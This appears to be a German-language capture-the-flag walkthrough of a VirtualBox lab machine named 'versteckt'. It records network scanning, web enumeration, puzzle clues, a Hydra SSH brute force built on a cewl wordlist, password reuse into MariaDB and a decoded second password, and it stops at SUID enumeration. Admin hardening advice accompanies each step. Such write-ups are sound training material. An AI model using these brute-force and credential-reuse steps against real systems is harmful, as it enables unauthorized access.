Interface: eth0, type: EN10MB, MAC: 08:00:27:09:b6:08, IPv4: 192.168.2.140 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.1 c4:86:e9:a5:6d:18 HUAWEI TECHNOLOGIES CO.,LTD 192.168.2.102 ac:6f:bb:62:87:79 TATUNG Technology Inc. 192.168.2.104 84:25:19:2f:66:32 Samsung Electronics 192.168.2.139 08:00:27:21:22:70 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Er sendet ARP-Anfragen und listet die antwortenden Geräte mit IP-Adresse, MAC-Adresse und dem Hersteller (basierend auf der MAC-Adresse) auf. Die IP `192.168.2.139` wird als potenzielles Ziel identifiziert, die MAC-Adresse (`08:00:27:...`) deutet auf eine VirtualBox-VM hin.
Bewertung: Dies ist ein effektiver erster Schritt zur Host-Entdeckung im lokalen Netzwerk. Wir haben die IP-Adresse unseres Ziels (`192.168.2.139`) erfolgreich identifiziert.
Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.139` für weitere Scans (Nmap).
Empfehlung (Admin): Netzwerksegmentierung und Überwachung können helfen, unautorisierte Scans zu erkennen. Stellen Sie sicher, dass nur autorisierte Geräte im Netzwerk sind.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-11 16:08 CEST Nmap scan report for versteckt (192.168.2.139) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-title: Index of / |_http-server-header: Apache/2.4.51 (Debian) 22334/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 7b:c0:c0:c9:62:10:2f:67:ac:8d:d9:e5:88:26:15:93 (RSA) | 256 59:73:c6:ce:52:8e:11:47:ba:9b:b1:51:41:3c:fa:18 (ECDSA) |_ 256 b4:e1:e1:f1:95:bb:b5:23:7e:2e:80:27:4a:a1:c7:ee (ED25519) MAC Address: 08:00:27:21:22:70 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.3, AXIS 210A or 211 Network Camera (Linux 2.6.17), Linux 5.4, Linux 2.6.32, Linux 3.2 - 4.9, Linux 2.6.32 - 3.10, Linux 5.3 - 5.4, Linux 5.0 - 5.4, Linux 3.4 - 3.10 Aggressive OS guesses: Linux 4.15 - 5.6 (97%), Linux 5.0 - 5.3 (96%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.4 (94%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.3 - 5.4 (94%), Linux 5.0 - 5.4 (93%), Linux 3.4 - 3.10 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms versteckt (192.168.2.139) Nmap done: 1 IP address (1 host up) scanned in 33.11 seconds
Analyse: Ich führe einen umfassenden Nmap-Scan gegen das Ziel `192.168.2.139` durch. * `-sS`: SYN-Scan (Stealth-Scan). * `-sC`: Führt Standard-Nmap-Skripte aus. * `-T5`: Sehr aggressives Timing für hohe Geschwindigkeit. * `-sV`: Ermittelt Dienstversionen. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-p-`: Scannt alle 65535 TCP-Ports. Die Ergebnisse zeigen zwei offene Ports: * **Port 80 (HTTP):** Apache httpd 2.4.51 (Debian). Der Titel der Seite ist "Index of /", was auf aktiviertes Directory Listing hindeutet. * **Port 22334 (SSH):** OpenSSH 8.4p1 (Debian). SSH läuft auf einem nicht-standardmäßigen Port.
Bewertung: Das Ergebnis grenzt die Angriffsfläche deutlich ein. Der Webserver auf Port 80 mit aktiviertem Directory Listing ist ein primäres Ziel für weitere Enumeration. Der SSH-Dienst auf dem ungewöhnlichen Port 22334 ist ebenfalls ein wichtiger Vektor, falls Zugangsdaten gefunden werden.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80 genauer (Directory Listing durchsuchen, Gobuster, Nikto). Versuche, gültige SSH-Zugangsdaten für Port 22334 zu finden (z.B. durch Web-Exploitation, Brute-Force, falls Benutzer bekannt sind).
Empfehlung (Admin): Deaktivieren Sie Directory Listing auf dem Webserver (`Options -Indexes` in der Apache-Konfiguration). Verwenden Sie Standardports nur, wenn unbedingt nötig, oder dokumentieren Sie nicht-standardmäßige Ports gut. Stellen Sie sicher, dass SSH sicher konfiguriert ist (starke Passwörter, Key-basierte Authentifizierung bevorzugen, evtl. Fail2Ban).
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.139 [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,bak,7z,zip,py,sql,txt,xml,jpg,html [+] Expanded: true [+] Wildcard detected: true [+] Timeout: 10s =============================================================== 2022/10/11 16:11:11 Starting gobuster =============================================================== http://192.168.2.139/index.html (Status: 200) [Size: 559] http://192.168.2.139/icons (Status: 301) [Size: 314] [--> http://192.168.2.139/icons/] http://192.168.2.139/robots.txt (Status: 200) [Size: 64] =============================================================== 2022/10/11 16:11:58 Finished ===============================================================
Analyse: Ich nutze `gobuster` im `dir`-Modus, um nach Verzeichnissen und Dateien auf dem Webserver zu suchen. * `-u http://192.168.2.139`: Ziel-URL. * `-w ...medium.txt`: Standard-Wortliste. * `-x ...`: Liste von Dateierweiterungen. * `-e`: Zeigt volle URLs an. * `--wildcard`: Erkennt und versucht, Wildcard-Antworten (bei denen der Server für nicht existierende Seiten immer denselben Inhalt liefert) zu behandeln. Gobuster findet `index.html` (die Standardseite), das Verzeichnis `/icons` (oft von Apache für Directory Listings verwendet) und die wichtige Datei `robots.txt`.
Bewertung: Die Ergebnisse sind zunächst begrenzt, aber `/robots.txt` ist immer ein vielversprechender Fund, da sie oft Hinweise auf versteckte oder sensible Bereiche enthält, die von Suchmaschinen ignoriert werden sollen.
Empfehlung (Pentester): Untersuche den Inhalt von `/robots.txt` sorgfältig. Überprüfe auch das `/icons`-Verzeichnis, obwohl es selten direkt ausnutzbar ist.
Empfehlung (Admin): Stellen Sie sicher, dass `/robots.txt` keine Pfade zu sensiblen oder administrativen Bereichen preisgibt.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.139 + Target Hostname: 192.168.2.139 + Target Port: 80 + Start Time: 2022-10-11 16:13:56 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.51 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + OSVDB-3268: /: Directory indexing found. + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags, header found with file /, inode: 22f, size: 5d1c2696a7b80, mtime: gzip + OSVDB-3268: /index.html: Directory indexing found. + Allowed HTTP Methods: OPTIONS, HEAD, GET, POST + OSVDB-3268: /./: Directory indexing found. + /./: Appending '/./' to a directory allows indexing + OSVDB-3268: //: Directory indexing found. + //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page. + OSVDB-3268: /%2e/: Directory indexing found. + OSVDB-576: /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus.com/bid/2513. + OSVDB-3268: ///: Directory indexing found. + OSVDB-119: /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269. + OSVDB-119: /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269. + OSVDB-3268: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found. + OSVDB-3288: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when /'s are requested. + 7915 requests: 0 error(s) and 18 item(s) reported on remote host + End Time: 2022-10-11 16:14:41 (GMT2) (45 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ********************************************************************* Portions of the server's headers (Apache/2.4.51) are not in the Nikto 2.1.6 database or are newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The site uses SSL and the Strict-Transport-Security HTTP header is not defined. + The site uses SSL and Expect-CT header is not present. - Sent updated info to cirt.net -- Thank you!
Analyse: Ich verwende `nikto`, einen Webserver-Scanner, um nach bekannten Schwachstellen und Konfigurationsfehlern zu suchen. Nikto identifiziert mehrere Probleme: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`). * Aktives Directory Listing im Root-Verzeichnis (`/`) und bestätigt dies für verschiedene Pfad-Variationen (`/./`, `//`, `/%2e/`, etc.). * Mögliches Informationsleck durch ETags (Inodes). * Listet erlaubte HTTP-Methoden auf. * Meldet veraltete OSVDB-Einträge, die auf mögliche Directory-Listing-Probleme in älteren oder spezifischen Serverkonfigurationen hinweisen (hier wahrscheinlich False Positives aufgrund des allgemeinen Directory Listings).
Bewertung: Die Bestätigung des Directory Listings ist der wichtigste Fund hier. Fehlende Sicherheitsheader sind häufig, aber weniger kritisch. Die ETag-Informationen sind selten direkt ausnutzbar. Die vielen Treffer für Directory Listing unterstreichen diese Fehlkonfiguration.
Empfehlung (Pentester): Navigiere manuell durch das Directory Listing im Browser oder mit `curl`, um interessante Dateien oder Verzeichnisse zu finden, die `gobuster` möglicherweise übersehen hat.
Empfehlung (Admin): Deaktivieren Sie Directory Listing (`Options -Indexes` in Apache). Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `X-XSS-Protection`). Konfigurieren Sie ETags so, dass keine Inodes preisgegeben werden (`FileETag MTime Size` statt `INode MTime Size`).
SSH-2.0-OpenSSH_8.4p1 Debian-5
Analyse: Ich benutze `nc` (Netcat), um eine einfache Verbindung zum SSH-Port (22334) herzustellen. Der Server antwortet mit seinem SSH-Banner, der die Version `OpenSSH 8.4p1 Debian-5` bestätigt.
Bewertung: Bestätigt die von Nmap gefundene SSH-Version. Nützlich für die Suche nach spezifischen Schwachstellen für diese Version (obwohl für OpenSSH seltener als für Webanwendungen).
Empfehlung (Pentester): Suche nach bekannten Schwachstellen für OpenSSH 8.4p1 (z.B. Benutzer-Enumeration über Timing-Angriffe, aber unwahrscheinlich). Konzentriere dich auf das Erlangen gültiger Zugangsdaten.
Empfehlung (Admin): Halten Sie OpenSSH auf dem neuesten Stand. Konfigurieren Sie es sicher (siehe vorherige Empfehlung).
Analyse des robots.txt Inhalts:
Sierra Three Charlie Romeo Three Tango Zulu Zero November Three
Analyse: Ich rufe den Inhalt der `robots.txt` mit `curl` ab. Statt der üblichen `User-agent:` und `Disallow:` Direktiven enthält die Datei eine Reihe von Wörtern aus dem NATO-Alphabet.
Bewertung: Dies ist ein klarer Hinweis auf ein Rätsel oder eine versteckte Nachricht. Die Wörter `Sierra`, `Three`, `Charlie`, `Romeo`, `Three`, `Tango`, `Zulu`, `Zero`, `November`, `Three` entsprechen den Anfangsbuchstaben bzw. Ziffern `S`, `3`, `C`, `R`, `3`, `T`, `Z`, `0`, `N`, `3`.
Empfehlung (Pentester): Setze die Buchstaben und Ziffern zusammen: `S3CR3TZ0N3`. Dies ist höchstwahrscheinlich der Name eines versteckten Verzeichnisses. Versuche, auf `http://192.168.2.139/S3CR3TZ0N3/` (oder `s3cr3tz0n3/`) zuzugreifen.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.139/s3cr3tz0n3 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,html,txt,xml,wav [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/11 16:19:56 Starting gobuster =============================================================== http://192.168.2.139/s3cr3tz0n3/index.html (Status: 200) [Size: 1128] http://192.168.2.139/s3cr3tz0n3/audio.wav (Status: 200) [Size: 179972] =============================================================== 2022/10/11 16:20:41 Finished ===============================================================
Analyse: Basierend auf dem Fund aus `robots.txt` starte ich einen `gobuster`-Scan auf das Verzeichnis `/s3cr3tz0n3/`. Ich suche nach Dateien mit den Erweiterungen `php`, `html`, `txt`, `xml`, `wav`. Der Scan findet eine `index.html` und eine `audio.wav`.
Bewertung: Das Verzeichnis existiert und enthält eine Webseite (`index.html`) und eine Audiodatei (`audio.wav`). Die Audiodatei ist besonders interessant im Kontext von Rätseln und versteckten Informationen.
Empfehlung (Pentester): Untersuche `index.html` und lade `audio.wav` herunter, um sie zu analysieren (z.B. auf Morsecode, Steganographie, Audiospektrogramm).
--2022-10-11 16:21:40-- http://192.168.2.139/s3cr3tz0n3/audio.wav
Verbindungsaufbau zu 192.168.2.139:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 179972 (176K) [audio/x-wav]
Wird in »audio.wav« gespeichert.
audio.wav 100%[===============================================>] 175,75K --.-KB/s in 0,002s
2022-10-11 16:21:40 (113 MB/s) - »audio.wav« gespeichert [179972/179972]
Analyse: Ich lade die gefundene `audio.wav`-Datei mit `wget` herunter.
Bewertung: Notwendiger Schritt zur weiteren Analyse der Audiodatei.
Empfehlung (Pentester): Analysiere die `audio.wav`-Datei.
Analyse der audio.wav:
https://morsecode.world/international/decoder/audio-decoder-adaptive.html: audio.wav
gefunden: /m0r3inf0
Analyse: Die heruntergeladene `audio.wav`-Datei wurde mit einem Online-Morsecode-Decoder analysiert. Das Ergebnis der Dekodierung ist der Text `/m0r3inf0`.
Bewertung: Wieder ein Hinweis auf ein weiteres verstecktes Verzeichnis, diesmal kodiert als Morsecode in einer Audiodatei. Das Verzeichnis lautet `/m0r3inf0` und befindet sich wahrscheinlich innerhalb von `/s3cr3tz0n3/`.
Empfehlung (Pentester): Greife auf das Verzeichnis `http://192.168.2.139/s3cr3tz0n3/m0r3inf0/` zu und untersuche dessen Inhalt.
http://192.168.2.139/s3cr3tz0n3/m0r3inf0/index.html (Status: 200) [Size: 2884]
Analyse: Ich greife auf die `index.html` im neu entdeckten Verzeichnis `/s3cr3tz0n3/m0r3inf0/` zu (wahrscheinlich im Browser oder mit einem Tool). Die Seite existiert (Status 200) und hat eine Größe von 2884 Bytes.
Bewertung: Das Verzeichnis und die darin enthaltene Webseite sind bestätigt. Der Inhalt dieser Seite ist der nächste Anhaltspunkt.
Empfehlung (Pentester): Analysiere den Inhalt und den Quellcode von `index.html` in diesem Verzeichnis.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2884 100 2884 0 0 588k 0 --:--:-- --:--:-- --:--:-- 588k
Analyse: Ich lade den Inhalt der Webseite `http://192.168.2.139/s3cr3tz0n3/m0r3inf0/index.html` mit `curl` herunter und speichere ihn in der Datei `text.txt`. Die Ausführung ist erfolgreich.
Bewertung: Dies speichert den HTML-Inhalt lokal, um ihn weiter zu analysieren oder Tools darauf anzuwenden.
Empfehlung (Pentester): Verwende Tools wie `cewl` (siehe nächster Schritt) oder analysiere `text.txt` manuell auf interessante Wörter oder Hinweise.
(cewl startet und durchsucht die Seite - keine direkte Ausgabe hier, Ergebnis in text.txt)
Analyse: Ich verwende `cewl` (Custom Word List generator), um eine Wortliste basierend auf dem Inhalt der Webseite `http://192.168.2.139/s3cr3tz0n3/m0r3inf0/` zu erstellen. * `-d 3`: Durchsucht die Seite bis zu einer Tiefe von 3 Links. * `-m 5`: Berücksichtigt nur Wörter mit einer Mindestlänge von 5 Zeichen. * `>`: Leitet die Ausgabe (die generierte Wortliste) in die Datei `text.txt` um (überschreibt die vorherige `text.txt`, die den HTML-Code enthielt).
Bewertung: Dies ist ein intelligenter Ansatz, um potenzielle Passwörter zu finden, die im Kontext der Webseite relevant sein könnten. Die Hoffnung ist, dass Benutzernamen (wie `marcus`, der im nächsten Schritt verwendet wird) oder Passwörter im Text der Seite vorkommen.
Empfehlung (Pentester): Verwende die generierte Wortliste `text.txt` für Brute-Force-Angriffe gegen gefundene Dienste (insbesondere SSH auf Port 22334). Überprüfe die Wortliste auch manuell auf offensichtliche Kandidaten.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen oder leicht zu erratende Passwörter direkt im Text von Webseiten zu verwenden.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-11 16:36:07 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended [DATA] max 64 tasks per 1 server, overall 64 tasks, 145 login tries (l:1/p:145) [DATA] attacking ssh://192.168.2.139:22334/ [22334][ssh] host: 192.168.2.139 login: marcus password: Falcon [STATUS] 1.00 tries/min, 1 tries in 00:01h, 144 to do in 02:24h, 1 active tasks [STATUS] 1.00 tries/min, 1 tries in 00:01h, 144 to do in 02:24h, 1 active tasks [STATUS] 1.00 tries/min, 1 tries in 00:01h, 144 to do in 02:24h, 1 active tasks 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-11 16:36:18
Analyse: Ich starte einen SSH-Brute-Force-Angriff mit `hydra`. * `-l marcus`: Der Benutzername, der getestet wird (woher dieser Name stammt, ist im Text nicht explizit erwähnt, möglicherweise aus der Analyse der `index.html` oder eine Vermutung). * `-P text.txt`: Verwendet die zuvor mit `cewl` erstellte Wortliste. * `-f`: Stoppt, sobald ein gültiges Passwort gefunden wurde. * `192.168.2.139`: Die Ziel-IP. * `-s 22334`: Der SSH-Port. * `-t 64`: Verwendet 64 parallele Tasks (Threads). * `ssh`: Das zu verwendende Hydra-Modul. Hydra findet erfolgreich das Passwort `Falcon` für den Benutzer `marcus`.
Bewertung: Erfolg! Der Initial Access ist gelungen. Wir haben gültige SSH-Zugangsdaten (`marcus:Falcon`) für das Zielsystem gefunden, indem wir eine kontextbasierte Wortliste aus der Webseite generiert und für einen Brute-Force-Angriff verwendet haben.
Empfehlung (Pentester): Logge dich mit den gefundenen Zugangsdaten per SSH auf dem Zielsystem ein.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter, die nicht leicht aus Webseiteninhalten oder anderen öffentlichen Quellen erraten werden können. Implementieren Sie Intrusion-Detection/Prevention-Systeme wie Fail2Ban, um Brute-Force-Angriffe auf SSH zu blockieren.
Beschreibung: Diese Sektion demonstriert den erfolgreichen Zugriff auf das Zielsystem über SSH (Port 22334) unter Verwendung der durch Brute-Force kompromittierten Zugangsdaten des Benutzers `marcus`.
Voraussetzungen:
The authenticity of host '[versteck.vm]:22334 ([192.168.2.139]:22334)' can't be established. ED25519 key fingerprint is SHA256:1k1uw+oJwOVxLxvzLlrvPWO/spjYgF5GShu8ptaS9+U. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[versteck.vm]:22334' (ED25519) to the list of known hosts. marcus@versteck.vm's password: Falcon Linux versteckt 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Dec 3 02:43:55 2021 from 192.168.1.93 marcus@versteckt:~$
Schritt 1: SSH-Verbindung herstellen: Ich verbinde mich mit dem SSH-Client zum Ziel `versteck.vm` (dieser Name muss in `/etc/hosts` des Angreifers definiert sein oder durch DNS auflösbar sein, alternativ die IP verwenden) auf Port `22334` als Benutzer `marcus`. Ich bestätige den Fingerprint des Hosts und gebe das gefundene Passwort `Falcon` ein.
Erwartetes & Tatsächliches Ergebnis / Beweismittel: Der Login ist erfolgreich. Ich erhalte eine Shell-Prompt (`marcus@versteckt:~$`) auf dem Zielsystem. Dies beweist, dass die gefundenen Zugangsdaten gültig sind und der Zugriff auf das System als Benutzer `marcus` möglich ist.
Risikobewertung: Die Kompromittierung eines Benutzerkontos über SSH stellt ein signifikantes Risiko dar. Der Angreifer hat nun einen Fuß im System und kann versuchen, weitere Informationen zu sammeln, sich seitlich im Netzwerk zu bewegen oder die Rechte zu eskalieren. Das Risiko ist als Mittel bis Hoch einzustufen, abhängig von den Berechtigungen des Benutzers `marcus`.
Empfehlungen (Admin):
Enter password: Falcon Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 30 Server version: 10.5.12-MariaDB-0+deb11u1 Debian 11 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
Analyse: Als Benutzer `marcus` versuche ich, mich mit dem lokalen MySQL/MariaDB-Server zu verbinden (`mysql -u marcus -p`). Ich gebe das SSH-Passwort `Falcon` ein (Passwort-Wiederverwendung!). Der Login ist erfolgreich.
Bewertung: Dies ist ein weiterer wichtiger Fund. Der Benutzer `marcus` hat nicht nur SSH-Zugriff, sondern auch Zugriff auf die lokale MariaDB-Datenbank, und das Passwort wurde wiederverwendet. Datenbanken enthalten oft sensible Informationen oder können zur weiteren Kompromittierung genutzt werden.
Empfehlung (Pentester): Enummeriere die Datenbank: Zeige Datenbanken (`show databases;`), wechsle zur relevanten Datenbank (`use
Empfehlung (Admin): Vermeiden Sie Passwort-Wiederverwendung! Datenbankbenutzer sollten eigene, starke Passwörter haben. Beschränken Sie den Zugriff auf Datenbanken und Tabellen auf das Notwendigste (Least Privilege). Überprüfen Sie die Notwendigkeit des Datenbankzugriffs für den Benutzer `marcus`.
MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | versteckt | +--------------------+ 2 rows in set (0.059 sec) MariaDB [(none)]> use versteckt; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [versteckt]> show tables; +---------------------+ | Tables_in_versteckt | +---------------------+ | secret | | secret2 | | users | +---------------------+ MariaDB [versteckt]> select * from users; +--------+-----------+ | iduser | username | +--------+-----------+ | 1 | Liam | | 2 | Olivia | | 3 | Oliver | | 4 | Emma | | 5 | Elijah | | 6 | Charlotte | | 7 | Williams | | 8 | Sophia | | 9 | James | | 10 | Amelia | | 11 | Benjamin | | 12 | Isabella | | 13 | Lucas | | 14 | Henry | | 15 | Evelyn | | 16 | Alexander | | 17 | Harper | +--------+-----------+ MariaDB [versteckt]> select * from secret; +--------+---------------+ | secret | contact | +--------+---------------+ | 1 | KkaFj6t5Iv14S | | 2 | fOoj4bhIvCBS | | 3 | pIrj3bhIvOSs | | 4 | Fo27bhIvOfF | | 5 | LibJ7bhI11ba | | 6 | KnbJ1bhfaI9c | | 7 | Gkcvu12pbhcc | | 8 | gBacBu2pbhfi | | 9 | mHha6Fpbhkd | | 10 | 7jhZbFpbhw | | 11 | a3I0azR0MDR0 | | 12 | SBhZ2Fpbgo | | 13 | bm9wIHRye | | 14 | NgAsI3GhhhY4b | | 15 | pkA5I3GFhYWa | | 16 | dHJ5IGFnYWl | | 17 | 5HJ5fanYWal | +--------+---------------+ MariaDB [versteckt]> select * from secret2; +--------+------------------+ | secret | contact | +--------+------------------+ | 1 | 5HJ5fanYWal | | 2 | dHJ5IGFnYWl | | 3 | pkA5I3GFhYWa | | 4 | NgAsI3GhhhY4b | | 5 | bm9wIHRye | | 6 | SBhZ2Fpbgo | | 7 | 7jhZbFpbhw | | 8 | mHha6Fpbhkd | | 9 | a3I0azR0Fj3b | | 10 | gBacBu2pbhfi | | 11 | aDNiM3NUcGw0YzMK | | 12 | LibJ7bhI11bFBa | | 13 | 9udHJhc2XDsWEK | | 14 | dHJ5IGFnYWluIGB | | 15 | YWluIGhlaGVoZQoB | | 16 | YXNjYWhidmhmYW | | 17 | mYWZzYWZhZmFmYgo | +--------+------------------+
Analyse: Ich enummeriere die Datenbank `versteckt`. Sie enthält drei Tabellen: `users`, `secret` und `secret2`. Die `users`-Tabelle listet Benutzernamen auf, darunter `Benjamin`. Die Tabellen `secret` und `secret2` enthalten scheinbar zufällige Zeichenketten, die Base64-kodiert sein könnten. Besonders die Einträge mit der ID `11` in `secret` (`a3I0azR0MDR0`) und `secret2` (`aDNiM3NUcGw0YzMK`) sind für den nächsten Schritt relevant.
Bewertung: Die Datenbank enthält die Zugangsdaten für einen weiteren Benutzer (`Benjamin`), allerdings in einer kodierten und aufgeteilten Form. Dies ist ein weiteres Rätsel, das gelöst werden muss, um das Passwort zu erhalten.
Empfehlung (Pentester): Kombiniere die Base64-Strings mit der ID 11 aus `secret` und `secret2` (`a3I0azR0MDR0` + `aDNiM3NUcGw0YzMK`). Dekodiere den resultierenden String mit Base64. Das Ergebnis ist wahrscheinlich das Passwort für den Benutzer `Benjamin`.
man muss von secret nr 11 und secret2 nr 11 die beiden einträge zusammen packen und base64 decoden, das ist dann das neue Passwort von benjamin :
kr4k4t04th3b3sTpl4c3
Analyse: Wie im Kommentar beschrieben, werden die beiden Base64-Teile (`a3I0azR0MDR0` und `aDNiM3NUcGw0YzMK`) konkateniert und an den `base64 -d`-Befehl übergeben. Das Ergebnis der Dekodierung ist das Passwort `kr4k4t04th3b3sTpl4c3`.
Bewertung: Das Passwort für den Benutzer `Benjamin` wurde erfolgreich aus den Datenbankeinträgen rekonstruiert.
Empfehlung (Pentester): Versuche, dich als Benutzer `Benjamin` mit dem Passwort `kr4k4t04th3b3sTpl4c3` per SSH einzuloggen.
benjamin@versteck.vm's password: kr4k4t04th3b3sTpl4c3 Linux versteckt 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Nov 27 04:21:50 2021 from 192.168.1.29 $
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for benjamin: kr4k4t04th3b3sTpl4c3 Sorry, user benjamin may not run sudo on versteckt.
Changing password for benjamin. Current password: kr4k4t04th3b3sTpl4c3 New password: benni19 Retype new password: benni19 passwd: password updated successfully
Analyse: Ich logge mich erfolgreich als `benjamin` mit dem rekonstruierten Passwort `kr4k4t04th3b3sTpl4c3` per SSH ein. Ich verbessere die Shell mit Python PTY und setze die `TERM`-Variable. Der Versuch, `sudo -l` auszuführen, schlägt fehl, da der Benutzer `benjamin` keine sudo-Rechte hat (das Passwort `kr4k4t04th3b3sTpl4c3` wird akzeptiert, aber die Berechtigung fehlt). Anschließend ändere ich das Passwort des Benutzers `benjamin` mit `passwd` zu `benni19`.
Bewertung: Wir haben nun Zugriff als Benutzer `benjamin`. Dieser Benutzer hat keine sudo-Rechte. Die Passwortänderung ist ungewöhnlich während eines Pentests, könnte aber in einem CTF-Kontext gemacht werden, um sich das neue Passwort leichter zu merken oder falls das alte zu komplex war.
Empfehlung (Pentester): Beginne die Enumeration als Benutzer `benjamin`. Suche nach SUID/GUID-Dateien, Konfigurationsfehlern, lesbaren Dateien anderer Benutzer, Cronjobs etc., um einen Weg zur Rechteausweitung zu finden.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen für den Benutzer `benjamin`. Stellen Sie sicher, dass Benutzer nur die Rechte haben, die sie benötigen (Least Privilege). Überwachen Sie Passwortänderungen.
275163 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign 263979 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 263166 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 259679 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 259676 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 263692 56 -rwsr-xr-x 1 root root 55528 Jul 28 2021 /usr/bin/mount 263694 36 -rwsr-xr-x 1 root root 35040 Jul 28 2021 /usr/bin/umount 277471 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo 282625 20 -rwsrwx--- 1 root benjamin 16712 Nov 27 2021 /usr/bin/chsn 263325 72 -rwsr-xr-x 1 root root 71912 Jul 28 2021 /usr/bin/su 259680 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 259677 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
